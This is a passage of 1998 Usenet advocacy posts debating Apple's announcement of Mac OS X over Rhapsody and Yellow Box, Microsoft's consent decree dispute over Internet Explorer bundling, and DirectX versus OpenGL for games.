> >is the misuse of the Contempt Case. If you agree that Microsoft is not in
> >violation of the Consent Decree, then we are in agreement.
>
> Actually you didn't make the case clear (as I read it) that you wanted an
> anti-trust case filed, only that you thought one would could be better
> argued. To that I agree. I think the time has come to drop the concent
> business - it clearly didn't work. I still think it *could* be argued, but
> the wording is too vague, so they should move on.
<snipped some quaffling on the question>
> I think they *did*
> violate WRT 95 and IE bundling for some box makers. That much is clear,
> but they've since corrected it. But for Win98, I don't know.
>
Last December (and other times since), I stated I believed Microsoft violated
the Consent Decree when it required OEMs to install IE3.0 AFTER installing
Windows95. (I assume this is true since Microsoft did not deny it). I felt
then, and feel now, the DOJ should have limited its Contempt Case to that.
A clear and prosecutable violation.
<snip>
> >I know it is tempting to argue about what "Integrated Products" means in
> >the Consent Decree. The DOJ succumed to the temptation and wasted time and
> >tax dollars pushing the wrong case (IMO). Are you still arguing that
> >Microsoft is in violation of the Consent Decree?
>
> For requiring certiain box makers to ship IE, yes, I think they were. For
> 98, I don't know.
>
We agree. I'm just more certain Windows98 does NOT violate the Consent
Decree. Neither does the current Windows95/IE combination.
<snip>
> I think it was the right case against 95, but not against 98. Since the 95
> issue is now moot (MS undid it, apparently) and 98 is upon us, it should
> be dropped.
I am not sure what you are saying here. Microsoft still contends the latest
Windows95 version is in compliance with the Consent Decree. Not to rehash
an old argument, but what do you think MS "undid"?
> I think the case illustrated how far MS is willing to push the
> marketplace and the courts.
Now we have different coloring. Who was pushing whom? IE4.0 was a
natural progression from IE1.0, IE2.0 and IE3.0. It was the DOJ who
tried to twist the Consent Decree into some all encompassing anti-trust
document. Microsoft agressively defended itself. This is hardly
"pushing" the courts from Microsoft.
> I think the case was valid in a limited sense.
> Claiming that IE was integrated in Win95 was *clearly* stretching the
> truth a bit too far.
If it was "clearly" a violation, then Microsoft should have been found in
contempt. Once again, we disagree on coloring and emphisis. You want to
point out how close Microsoft was to being in contempt. I am pointing
out, close or not, Microsoft was not in contempt, at least not the way
the DOJ decided to try the case.
> I think they used it to garner political and popular
> support, but I think MS handled it so poorly that it became a much bigger
> issue than the DOJ originally intended. It didn't seem to be a big deal
> until MS really started to push.
>
You think the DOJ used it to garner support? Don't you find that inexcusable
behavior on the part of the highest law-enforcement agency in these United
States?
As for Microsoft's behavior. How did you want them to handle it? If they did
anything less, Special Master Lessig would be hanging Microsoft out to dry by
now. Or, at the very least, Microsoft would be struggling to get permission
to release Windows98 instead of people struggling to stop it. Sure, it
wouldn't have been a "big deal" if Microsoft quietly plead guilty and rolled
over on the Windows98 question.
I really am interested in where you felt Microsoft "started to push" in
this case. What I saw was an aggressive legal and political defense against
attacks from several fronts.
Provoking Thought,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 11 May 1998 19:59:14 -0700
Message-ID: <see-below-1105981959140001@209.24.240.244>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com <uprsNDlpp0Dh-pn2-VItRWmWTlyDm@dyn67.tc1.mineola.i-2000.net>
In article <uprsNDlpp0Dh-pn2-VItRWmWTlyDm@dyn67.tc1.mineola.i-2000.net>,
jhimmel@i-2000.com (James Himmelman) wrote:
> I see. Fair enough. I guess I don't have much use for the new 3D
> accelerators either. It looks like game playing may be one of the most
> compelling reasons (maybe THE most) to switch to Win95, or at least
> set up a bootable Win95 partition. Maybe it is my disinterest in
> computer games that makes me still feel comfortable with OS/2. For the
> work I do, OS/2 is still working great, and I MUCH prefer the
> interface over what is offered on Win95/NT.
I guess that's another reason to like OpenGL, is that it is targeted at
and appropriate for high-end 3D applications, but works just as well for
games. I don't know how D3D currently stacks up, but originally it
woulnd't have worked well at all for professional 3D uses. So if OpenGL
were more adopted for games, people using pro-level 3D would also reap the
benefits of cheap, fast 3D hardware.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody and games
Date: Mon, 11 May 1998 20:11:03 -0700
Message-ID: <see-below-1105982011040001@209.24.240.244>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk> <see-below-1105981809120001@209.24.240.244> <6j8a9i$g46$3@newsfep4.sprintmail.com> <6j8bro$sam$2@news.xmission.com>
In article <6j8bro$sam$2@news.xmission.com>, don@misckit.com wrote:
> macghod@concentric.net wrote:
> > I was browsing through omniweb's page, and looking through the
> > rhap talk postings, and saw a message from a apple employee
> > saying (I hope I got this exactly right) dont expect Rhapsody
> > to be a consumer gaming platform. (after I wrote this I
> > decided to take the time to get the quote, here it is:)
> >
> >: my comment was taken out of context. There is/much discussion on my Mac
> >: Games Dev programming list about John Carmack/Quake/Rhapsody.
> >:
> >: My comment was intended to stop discussion of Rhapsody as a games capable
> >: consumer OS - which as I understand it, will never come to pass.
> >:
> >: Sorry if I was misunderstood.
>
> Well, I say he's wrong. And one day I'll prove it; actions speak louder than
> words.
>
> http://www.gamekit.com/ will become interesting someday. (Nothing there yet,
> sorry!) There will (someday) be a GameKit.gramework for Rhapsody, Mac OS X,
> or whatever you want to call it... :-P
Yes, I sincerely hope he is wrong, and I hope you can prove it sometime!
If YB were ported to more platforms than just Windows and Rhapsody (ie,
start with Sun and HP and keep going), thus making it a compelling
cross-platform API (probably complementing and extending Java), then it
could one day have a _lot_ of support, and moreso might make an ideal API
for set-top boxes and the like. And a gaming component would help
considerably with that.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Tue, 12 May 1998 02:41:14 +0200
Organization: Completely Disorganized
Message-ID: <1d8w9sp.1qqgx4p6r334gN@rhrz-isdn3-p44.rhrz.uni-bonn.de>
References: <6j829e$9j3$1@newsfep4.sprintmail.com>
Mail-Copies-To: never
<macghod@concentric.net> wrote:
> Anyone notice that macos X will include quickdraw? Isnt this Lawson's love
> and joy?
No. QD GX is/was.
Your posting was meant to be a troll, right?
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 19:46:53 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1105981946530001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <35593b48.6388203@198.0.0.100>, nhughes@sunflower.com wrote:
> On or about Mon, 11 May 1998 18:32:07 -0400, in comp.sys.mac.advocacy
> ericb@pobox.com (Eric Bennett) exclaimed :
>
> >> You're overreacting! There are still things that are unclear! Making
> >> definitive judgements based on this evidence is only going to get you
> >> angry.
> >
>
> Mac mantra 1996:
>
> When copland comes out its gonna be way better than NT
>
> Mac mantra 1997:
>
> When Rhapsody comes out, its gonna kick NTs butt.
>
> Mac mantra 1998:
>
> Macos10 comes out, NT's going down.
>
> Ok, boys you know the new words... start chanting.
>
> Seriously though, has anyone here noticed that apple seems to announce
> a "revolutionary" new OS about every 18 months? there is a word for
> that... Vapor.
Except that Rhapsody 1.0 is coming out in a few months (Q3 '98 which means
late summer or early fall). Rhapsody will still kick NT's butt. :)
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: telam@iquest.net (Tom Elam)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 23:56:35 GMT
Organization: HUH?
Message-ID: <355a8f71.33368385@news.newsguy.com>
References: <ericb-1105981718430001@132.236.171.104>
Mime-Version: 1.0
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On Mon, 11 May 1998 17:18:43 -0400, ericb@pobox.com (Eric Bennett) wrote:
>
>http://www.zdnet.com/macweek/mw_1219/nw_wwdcjobs.html
>
>Apple announced today that its OS future is a revised MacOS "merged" with
>a Rhapsody core, but the telling feature is that it largely retains (and
>Apple is stressing) API compatibility with the current MacOS. So Apple is
>effectively telling developers, "Screw Rhapsody." Ought to make the
>NeXTies happy, right?
>
>Apple also announced that this new OS will only run on G3 machines. That
>screws just about everybody else. Of course, by the time they actually
>ship the thing, given the usual delays (12 months for Rhapsody), maybe
>this is okay. But this *really* ought to upset the people who are already
>upset about the likelihood of not being able to run Rhapsody on their
>first generation PMacs. What if they bought an 8600 so they could run
>Rhapsody? Now Steve tells them they have to buy *another* Mac.
>Ridiculous.
MY GOD - YOU JUST REPLIED TO ME IN ANOTHER POST THAT IT DOES NOT MATTER THAT
THIS THING DOES NOT RUN ON ANYTHING BUT A G3. YOU TWO-FACED ^%$%*&*.
>
>Way to go, Apple. If Apple can actually pull this off, I probably won't
>care, but if this goes the way of Copland and Rhapsody, Apple's in big
>trouble, and each time they do this they lose more customers (at some
>point they're not going to have any left). This is just one more
>90-degree course change in OS strategy, and is an excuse for another
>year's delay in delivering a real OS. (Rhapsody was the excuse we got
>after Copland. Now "MacOS X" is the excuse we're getting after Rhapsody.)
YOU JUST SAID THAT THAT YOU WILL BE RUNNING RHAPSODY THIS FALL.....AND RHAPSODY
IS NOT A MODERN MAISTREAM OS? ARE YOU A TOTAL IDIOT OR WHAT?
>
>For those who say, "But Rhapsody will still ship!," I ask, where is
>Apple's modern mainstream OS? It sounds to me like Apple isn't going to
>encourage Rhapsody development. Instead, they're making users wait
>*another* year for *another* promised modern OS. Somebody at Apple has to
>stop these ridiculous course changes. They have to SHIP SOMETHING! They
>can't keep promising better and better stuff but never ship any of it.
>
>[I concede the point that Rhapsody would likely have fewer native apps in
>1999 that MacOS X will have *IF* MacOS X actually meets its 1999 shipping
>date. I am still very skeptical. Rhapsody + BlueBox should be a fair
>solution until MacOS X ships... I hope...]
>
>Big unanswered question from today: what happens to Rhapsody and the
>Yellow Box? Will Apple have an OS with simple cross-compilation for PPC
>and x86, and will that be MacOS X or Rhapsody? Or both or neither?
>
>BTW, kudos to George for being *almost* as correct on Rhapsody as he was
>with Copland. Sigh.
---------------------------------------------
Tom Elam
The universe is not only stranger than we imagine,
it is stranger than we CAN imagine.
Family homepage:
http://members.iquest.net/~telam/homepage.html
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 18:09:12 -0700
Message-ID: <see-below-1105981809120001@209.24.240.244>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk>
In article <6j82vd$1cc$1@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <ericb-1105981832070001@132.236.171.104> Eric Bennett wrote:
>
> > It's looking more and more like Apple didn't get much useful stuff out of
> > the NeXT purchase than Mr. Jobs. They're paying little attention to the
> > OS they paid for with $400 million. I'm certainly paying attention to it,
> > but I wish Apple would too.
> >
> Well, sadly you're blaming the wrong group.
>
> The people to blame are the Mac developers, and the Big Brand names in
> particular, who didn't stand up and embrace Rhapsody.
I disagree. Apple has yet to give them a compelling reason to do so.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 18:11:41 -0700
Message-ID: <see-below-1105981811420001@209.24.240.244>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk>
In article <6j82vd$1cc$1@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> The most important thing is to read the Press Release carefully:
>
> (1) Rhapsody will ship in the Fall;
About time!
> (2) MacOS X will contain an advanced software development environment.
> ASDE = YellowBox. It's just a crap name for it, that's all.
> But heck, Apple went from V-Twin (sexy) to AIAT (what?!?) :-)
I agree. They seem to have anti-marketing. Usually you have a dumbass
serial number of a name in development, then come up with something cool
for marketing purposes, but Apple does the opposite... Hello, Apple,
there's nothing wrong with usuing your development name for the shipping
product!
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: MacOS X: it's all over
Date: 12 May 1998 03:25:17 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <6j8fet$k2n$1@walter.cs.umd.edu>
NNTP-Posting-User: seanl
Here's what *I've* gathered from the WWDC news:
- Rhapsody will be "superceded" by MacOS X. Not complemented by.
Superceded by. MacOS *8* will be complemented by MacOS X.
- MacOS X will have a "subset" of the Yellow Box APIS
- MacOS X will use QuickDraw as its drawing language (hence the "subset")
- If you "carbonize" your code, it's compatible with MacOS X. But existing
Yellow Box apps aren't necessarily compatible, especially if they rely on
Display PostScript.
- MacOS X will not be UNIX
This announcement practically guarantees that no one will develop for the
Yellow Box. Why develop for an API whose future design is uncertain, which
is being deemphasized in public statements, whose basic drawing engine is
being eliminated and whose very existence isn't necessary to enjoy preemptive
multitasking, kernel-level multithreading, and memory protection?
Describing Rhapsody as "interim", given the fact that no one has apps for it,
sounds its death knell. And I had thought the iMac was bad, having no SCSI and
no card slot, so being effectively unexpandable in any cheap way. Time to look
into selling that Apple stock. It really *is* 1984 all over again. Do we
really want that nightmare?
Being in Japan right now, I don't read USENET so much. Respond by mail if yo
want to get ahold of me.
Sean Luke
seanl@cs.ujmd.edu
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
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References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org>
Message-ID: <EvP51.1535$sy4.3061975@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 03:39:16 GMT
NNTP-Posting-Date: Mon, 11 May 1998 20:39:16 PDT
Organization: @Home Network
In <slrn6lfd10.2id.jason@jhste1.dyn.ml.org> Jason S. wrote:
> Lawson English wrote:
>
> >Make no mistake about it, this MacOS X move is a desperation ploy on the
> >part of Apple. It may make some short-sighted developers and end-users
> >happy, and placate Adobe, Macrosoft and Microsoft, but the fact that it is
> >necessary speaks volumes about the political scene at Apple.
>
> They'll flame you, but you're right, IMO.
>
> j
If there is truth to the ploy, and Apple screws around catering to MacOS
politics, the window of opportunity for Rhapsody may be "toast". How ironic
that Apple should distract their comeback an additional year to allow NT5.0 to
mature past Rhapsody's "window".
No revolutions here, just long slow evolutionary growth off niche markets as
per Application Vendors good graces. This portends a defensive strategy to
settle into the trenches and build marketshare. They must not have a critical
mass to pull off any coup. I wonder where the magic marketshare number lies?
-r
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Mon, 11 May 1998 22:42:09 -0500
Organization: Prairie Group
Message-ID: <MPG.fc18109c8dbd1a19896ae@news.supernews.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
In article <B17CFBA1-1141D@206.165.43.26>, english@primenet.com says...
> Make no mistake about it, this MacOS X move is a desperation ploy on the
> part of Apple. It may make some short-sighted developers and end-users
> happy, and placate Adobe, Macrosoft and Microsoft, but the fact that it is
> necessary speaks volumes about the political scene at Apple.
>
It also speaks about the reality of development.
I can easily justify 5 days (and 2 months of testing, folded into the
next release) of almost any of our apps in order to make it a full app
for Mac OS X. I can do this because it it will take very little time,
and so as we fix bugs/make improvements to the program those improvements
will also roll into the 7.x versions too. I also have more faith in the
acceptance of OS X, because there's little to no reason for those able to
do so, NOT to upgrade.
It is much harder to justify 2 years, or even 6 months, to rewrite our
apps for Rhapsody. We will then have two completely separate code bases
and fixing bugs or making improvements in one will have little
correspondence to the other. And, listening on this board and to our
customers, the adoption of Rhapsody will be slow.
I don't know what Apple is going to do with Rhapsody/OpenStep. I came
away with one impression that others disagree with, and they could be
right. But, for now, for where I as a developer am and where Apple as a
company is, this will be a home run if it is followed through and if it
is done well.
And, I've said many times I'm unsure about Apple's ability to follow
through. But, even with my doubts, 5 days I can risk.
Donald
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
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References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fc037b16e250e8598969e@news.supernews.com>
Message-ID: <paK51.1300$sy4.2877356@news.rdc1.sdca.home.com>
Date: Mon, 11 May 1998 21:35:17 GMT
NNTP-Posting-Date: Mon, 11 May 1998 14:35:17 PDT
Organization: @Home Network
In <MPG.fc037b16e250e8598969e@news.supernews.com> Donald Brown wrote:
> In article <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>,
> rriley@yahoo.com says...
> > In <MPG.fbe7482b277f658989694@news.supernews.com> Donald Brown wrote:
> >
> > > BS. You can write anything you like. You are confusing freedom of
> > > speech with the right to be heard. You can make a program that does
> > > anything you jolly well please. If customers prefer Microsoft's
> > > solution, well, that's their right to choose.
> > >
> >
> > Well, OK. I'll wait a few more years, watch a few more Netscapes devolve,
> > witness "let them live" 150 million Apple investments w/IE on the desktop
and
> > laugh as the entire US Banking system is co=opted with a MS gateway
protocol
> > for Internet payments (ref: Wall Street & Technology May98) It may not
be
> > Freedom of Speech but is sure as hell is some thing akin to no choice at
> > all... It ain't BS my friend.
>
> This is the same apocalyptic things that were said about IBM. IBM was
> going to rule it all. Until they were stopped from excesses by the
> government, and then someone faster and smarter came up with compelling
> solutions that weren't IBM's.
>
> It may be that MS may develop the protocol for Internet payments. That's
> not the protocol that changes the world. What changes the world are
> things like new forms of communication.
>
>
You assume that paradigm shifts come in one-fell swoop over the Earth... MS
by aggregating internet payments under the control of their protocol put
themselves in a position to heavily influence the direction and architecture
of new forms of communication, in this case payments. Don't for a minute
think that MS and payments is just a protocol.
The wired world is on the cusp of an all digital domain of commerce. The
infrastructure for digital commerce has yet to be invented. Barring one of
those world changing inventions you alluded to prior, we are going to be using
"encryption". Entirely new forms of communication will depend upon the
technology of crytography to facilitate the exchange of money, words, secrets
and munitions.
Microsoft will be in the "strongest" position by sheer weight of the number of
dependent users of their protocol to effect the adoption of a MS digital
commerce infrastructure. While another technology may be superior, in the
end, it is not the merits of whether the World will beat a path to your door.
Rather it is who is controlling the doors to the World ( in this case
payments).
It could just as easily be Windows on the World... :)
-r
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 19:58:25 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35579EB1.66E69DFA@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu> <6j80h0$inc$1@murdoch.acc.Virginia.EDU>
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David Yeh wrote:
> In comp.sys.mac.advocacy Matt Kennel <mbkennel@yahoo.com> wrote:
> > Apple has been trying to push YB for a while, but the 'big hitters' kept on
> > saying that wasn't good enough. It's not going to be Steved.
>
> I wondering why it wasn't good enough.
Lazy.
From: stevenj@alum.mit.edu (Steven G. Johnson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Mon, 11 May 1998 20:18:41 -0400
Organization: Massachusetts Institute of Technology
Message-ID: <stevenj-ya02408000R1105982018410001@news.mit.edu>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <pulsar-ya02408000R1105981731400001@news-proxy.cso.uiuc.edu> <stevenj-ya02408000R1105982005400001@news.mit.edu>
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stevenj@alum.mit.edu (Steven G. Johnson) wrote:
>My guesses:
>[...]
As long as I'm making predictions, let me make two more:
6) MacOS X will run on multiple processors, natively. Initially, PPC and
x86, and later on Merced. (And, in my dreams, Alpha. :-) Both Carbon and
Yellow apps will run on MacOS X on all processors with a simple recompile
(and without even a recompile for Java Yellow apps).
7) The core of Rhapsody will still be BSD 4.4 (there's no way they can rip
this out in the time frame they are discussing). However, the command-line
shell and most of the UNIX tools will not be in the standard install. No
problem, though--you'll just grab the shell and tools separately. They'll
be free downloads, because if they aren't it will be trivial for someone to
write a replacement shell--it just needs to open up a text window and run
tcsh. All of the UNIX tools are free already (www.gnu.org).
Cordially,
Steven G. Johnson
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 19:57:45 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35579E89.C14F33F8@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
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Pulsar wrote:
> Writting for the Yellow Box still has all the cross-platform advantages it
> had before this announcement.
Announced cross platform:MacOS 8
NT 4/Win 95
As of a date b4 May 11th. Lottsa rumors.
Not a very long list....under OpenSTEP it was NT, Solaris, and HP-UX
Now, it can only improve for a list, no?
If this list isn't longer, the Facts about the Uncertanity and Doubt at Apple will
contiune.
> . The Carbon APIs can in no way be considered a
> replacement (as I see it).
Lets hope Apple sees it that way too.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 22:46:58 -0500
Organization: Prairie Group
Message-ID: <MPG.fc1822dabc3b7689896af@news.supernews.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <MPG.fc15adad12883c99896a7@news.supernews.com> <slrn6lf9fe.1lm.jason@jhste1.dyn.ml.org>
In article <slrn6lf9fe.1lm.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org says...
> Donald Brown wrote:
>
> >Yes, they buy some, but those who are happy as a clam
> >running System 6 on an LC III are happy as a clam with the software they
> >have.
>
> Hey - let's nitpick! System 6 on an LCIII?
>
I am properly abashed.
Donald
From: dmccoy@REMOVE_MEmnsinc.com (David H. McCoy)
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 11 May 1998 20:37:23 -0400
Organization: OminorTech
Message-ID: <MPG.fc163d0c3a0018a989d92@news1.mnsinc.com>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <6j5p74$3gd$1@supernews.com>
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In article <6j5p74$3gd$1@supernews.com>, tbandrowsky@del.net says...
> >Why is it so difficult for people to realize the DirectX is the technology
> >tht combines sound interfacing, controllers, video hardware accessing as
> >well as 3D. Direct 3D is one component of DirectX. If you create a game
> >with 3dfx or OpenGL without the sound or controller components, you will
> >not have much of a game.
>
> I do understand that, but in the popular domain direct 3d is what everyone
> really means. Nobody seems to be horribly offended by DirectDraw or
> DirectSound or even DirectPlay. There wasn't anything like them out there
> too much. But a new 3d standard leaves some people scratching their heads -
> especially when Open/GL is so widely accepted.
>
> And, since I'm still struggling with learning 3d programming, I'd like to
> point out that Open/GL is a hell of a lot simpler than Direct 3D.
>
>
Which domain is that? I am not in the gaming side of things, but I've
always looked at DirectX as "direct access to the hardware though APIs."
--
-----------------------------------
David H. McCoy
dmccoy@REMOVE_MEmnsinc.com
-----------------------------------
Date: Mon, 11 May 1998 17:25:24 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <stevehix-1105981725240001@ip42.safemail.com>
References: <ericb-1105981718430001@132.236.171.104> <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu> <6j80h0$inc$1@murdoch.acc.Virginia.EDU>
In article <6j80h0$inc$1@murdoch.acc.Virginia.EDU>, David Yeh
<dly8b@Virginia.EDU> wrote:
> In comp.sys.mac.advocacy Matt Kennel <mbkennel@yahoo.com> wrote:
> > Apple has been trying to push YB for a while, but the 'big hitters' kept on
> > saying that wasn't good enough. It's not going to be Steved.
> I wondering why it wasn't good enough.
Great for new applications, no really good way to bring
along legacy applications (at least, not without a lot of
work rewriting code)?
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 22:50:40 -0500
Organization: Prairie Group
Message-ID: <MPG.fc1830c8ad659bf9896b0@news.supernews.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <nagleEsto5z.E8C@netcom.com>
In article <nagleEsto5z.E8C@netcom.com>, nagle@netcom.com says...
> Sigh. This is yet another Apple announcement of the form
> "In a year or two, the OS API will be substantially different. But
> right now, the new version isn't available".
>
> We've heard this before:
>
> Workplace OS
> Pink
> Taligent
> Bedrock
> Copland
> Rhapsody
I don't recall the first four being pushed as replacements. Additions,
maybe.
And, there's one very exciting aspect to the new announcement:
"Your risk is 5 days, and we'll give you the tools to find what you need
to change."
I'd lost all faith in Apple...but I can risk 5 days.
Donald
> I think the appropriate developer reaction is "when you ship this new OS
> to customers, let us know, and we'll consider porting our product."
>
> John Nagle
>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why ''Carbon''?
Date: 11 May 1998 17:28:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6j852g$ncv@nntp02.primenet.com>
References: <slrn6lemh4.bct.mbkennel@lyapunov.ucsd.edu> <01bd7d32$146593c0$04387880@test1>
Todd Heberlein <todd@NetSQ.com> wrote:
: In short, Apple had failed to convince the big players that it was
: worth their time and money to go with OpenStep and be able to take
: advantage of preemptive multitasking, memory protection, etc.
Starting in August of last year, I think Apple has been working a program
to make people forget Rhapsody. What did you think the NDA and "stealth
development" were all about? Was that the program of someone trying to
build a new platform?
: "Carbon" is definitely a bow to reality, and I applaud Apple for
: recognizing it and doing something about it so quickly. This is a
: sign of the new Apple - make a decision and act on it.
Think about it another way. If the WWDC starts tomorrow, today is the
last day they can come clean about the OS. Remember those old quotes
about Steve saying that OS plans would be released on a need-to-know
basis?
John
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 12 May 1998 00:05:48 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j8hqs$9p$1@crib.bevc.blacksburg.va.us>
References: <6j8fet$k2n$1@walter.cs.umd.edu>
In article <6j8fet$k2n$1@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
> Here's what *I've* gathered from the WWDC news:
